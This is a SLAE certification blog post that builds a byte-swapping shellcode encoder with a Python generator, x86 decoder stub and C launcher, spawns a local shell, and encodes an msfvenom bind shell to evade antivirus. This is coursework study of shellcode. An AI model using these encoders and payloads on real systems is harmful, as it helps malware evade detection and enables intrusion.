SLAE x86 Assignment 4: Custom Encoder
Custom Encoder
- Create a custom encoding scheme such as the ‘Insertion Encoder’ exhibited in the course
- POC with the execve-stack shellcode to encode the schema and execute
Concept
Shellcode encoders are typically used as a technique to evade Anti-Virus security controls. An Encoder comes in handy when deploying malicious payloads onto a system, the encoder’s main objective is to obfuscate the shellcode to avoid signature detection.
Note the Encoder is founded on the principle of an encoding scheme, which relates to security through obscurity. Not to be confused with encryption via the use of an encryption key, it is possible to reverse the encoding scheme with the aid of the source code.
For the purpose of this POC, a simplistic Insertion encoding scheme will be used whereby 2 consecutive bytes will be swopped around within a 4 byte segment and looped through the entire shellcode sequence.
A true Insertion Encoder would insert junk data with more complex algorithms to obfuscate the original shellcode, this encoding scheme will serve the same purpose and allow for a simpler explanation and interpretation thereof.
Insertion Encoder in Python
The execve-stack shellcode from the course material will be used as a reference for the shellcode, the shellcode will spawn a /bin/sh
shell on the local host:
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
The following Python code will be used as a shellcode wrapper to generate the obfuscated shellcode from the original shellcode:
#!/usr/bin/python
# Filename: encoder.py
# Author: h3ll0clar1c3
# Purpose: Wrapper script to generate obfuscated shellcode from the original shellcode
# Usage: python encoder.py
#execve-stack shellcode to spawn /bin/sh shell
shellcode = "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f"
shellcode += "\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
print 'Shellcode length: %d bytes\n' % len(shellcode)
s2 = ''
for x in bytearray(shellcode):
s2 += '0x%02x,' % x
s2 = s2.rstrip(',')
print 'Original shellcode:'
print s2
print '\nObfuscated shellcode:'
s2n = s2.split(',')
encoded = ''
i = 1
for s in s2n:
if i == 1:
a = s
elif i == 2:
encoded += '%s,' % s
encoded += '%s,' % a
i = 1
continue
i += 1
print encoded.rstrip(',')
The Python code generates the obfuscated shellcode in hex format based on the hardcoded original shellcode, calculating the shellcode length:
osboxes@osboxes:~/Downloads/SLAE$ python encoder.py
Shellcode length: 30 bytes
Original shellcode:
0x31,0xc0,0x50,0x68,0x62,0x61,0x73,0x68,0x68,0x62,0x69,0x6e,0x2f,0x68,0x2f,0x2f,0x2f,0x2f,0x89,0xe3,0x50,0x89,0xe2,0x53,0x89,0xe1,0xb0,0x0b,0xcd,0x80
Obfuscated shellcode:
0xc0,0x31,0x68,0x50,0x61,0x62,0x68,0x73,0x62,0x68,0x6e,0x69,0x68,0x2f,0x2f,0x2f,0x2f,0x2f,0xe3,0x89,0x89,0x50,0x53,0xe2,0xe1,0x89,0x0b,0xb0,0x80,0xcd
osboxes@osboxes:~/Downloads/SLAE$
Assembly Code
The Assembly code will consist of the following components:
- Encoded shellcode
- Decoder (Loop through the sequence of bytes 15 times - as the encoded shellcode is 30 bytes in length)
- Decoded shellcode
- Execution of decoded shellcode
; Filename: enocder.nasm
; Author: h3ll0clar1c3
; Purpose: Decode the encoded shellcode and spawn a shell on the local host
; Compilation: ./compile.sh encoder
; Usage: ./encoder
; Shellcode size: 60 bytes
; Architecture: x86
global _start
section .text
_start:
; jump to encoded shellcode
jmp short call_shellcode
decoder:
pop esi ; put address to EncodedShellcode into ESI (jmp-call-pop)
xor eax, eax ; clear eax register (data)
xor ecx, ecx ; clear ecx register (loop counter)
mov cl, 15 ; loop 15 times (shellcode is 30 bytes in length)
decode:
; switch data between esi and esi+1
mov al, byte [esi]
xchg byte [esi+1], al
mov [esi], al
; loop through each of the 2 bytes within the 4 byte segment and decode
add esi, 2
loop decode
; jump to decoded shellcode
jmp short EncodedShellcode
call_shellcode:
call decoder
EncodedShellcode: db 0xc0,0x31,0x68,0x50,0x61,0x62,0x68,0x73,0x62,0x68,0x6e,0x69,0x68,0x2f,0x2f,0x2f,0x2f ,0x2f,0xe3,0x89,0x89,0x50,0x53,0xe2,0xe1,0x89,0x0b,0xb0,0x80,0xcd
The Assembly code is compiled by assembling with Nasm, and linking with the following bash script whilst outputting an executable binary:
osboxes@osboxes:~/Downloads/SLAE$ cat compile.sh
#!/bin/bash
echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm
echo '[+] Linking ...'
ld -o $1 $1.o
echo '[+] Done!'
The Assembly code compiled as an executable binary:
osboxes@osboxes:~/Downloads/SLAE$ ./compile.sh encoder
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
Insertion Encoder in C
Objdump is used to extract the shellcode from the Encoder in hex format (Null free):
osboxes@osboxes:~/Downloads/SLAE$ objdump -d ./encoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x15\x5e\x31\xc0\x31\xc9\xb1\x0f\x8a\x06\x86\x46\x01\x88\x06\x83\xc6\x02\xe2\xf4\xeb\x05\xe8\xe6\xff\xff\xff\xc0\x31\x68\x50\x61\x62\x68\x73\x62\x68\x6e\x69\x68\x2f\x2f\x2f\x2f\xe3\x89\x89\x50\x53\xe2\xe1\x89\x0b\xb0\x80\xcd"
A C program scripted with the newly generated shellcode:
/**
* Filename: shellcode.c
* Author: h3ll0clar1c3
* Purpose: Decode the encoded shellcode and spawn a shell on the local host
* Compilation: gcc -fno-stack-protector -z execstack -m32 shellcode.c -o encoder_final
* Usage: ./encoder_final
* Shellcode size: 60 bytes
* Architecture: x86
**/
#include <stdio.h>
#include <string.h>
unsigned char decoder[] = \
"\xeb\x17\x5e\x31\xc0\x31\xdb\x31\xc9\xb1\x0f\x8a\x06\x86\x46"
"\x01\x88\x06\x83\xc6\x02\xe2\xf4\xeb\x05\xe8\xe4\xff\xff\xff"
"\xc0\x31\x68\x50\x61\x62\x68\x73\x62\x68\x6e\x69\x68\x2f\x2f"
"\x2f\x2f\x2f\xe3\x89\x89\x50\x53\xe2\xe1\x89\x0b\xb0\x80\xcd";
int main()
{
printf("Shellcode length: %d\n", strlen(decoder));
int (*ret)() = (int(*)())decoder;
ret();
}
POC
The C program is compiled as an executable binary with stack-protection disabled, and executed resulting in a shellcode size of 60 bytes:
osboxes@osboxes:~/Downloads/SLAE$ gcc -fno-stack-protector -z execstack -m32 shellcode.c -o encoder_final
osboxes@osboxes:~/Downloads/SLAE$ ./encoder_final
Shellcode length: 60
osboxes@osboxes:/home/osboxes/Downloads/SLAE$ id
uid=1000(osboxes) gid=1000(osboxes) groups=1000(osboxes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
AV Evasion
Expanding the POC and the notion of AV evasion, a Bind TCP shellcode generated by Msfvenom was incorporated into the Encoder to compare the result between the original (unobfuscated) and obfuscated shellcode binary analyzed on VirusTotal.
Msfvenom -p linux/x86/shell_bind_tcp
:
\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
VirusTotal result of the original (unobfuscated) shellcode binary:
VirusTotal result of the obfuscated shellcode binary:
SLAE Disclaimer
This blog post has been created for completing the requirements of the SLAE certification.
Student ID: PA-14936
GitHub Repo: Code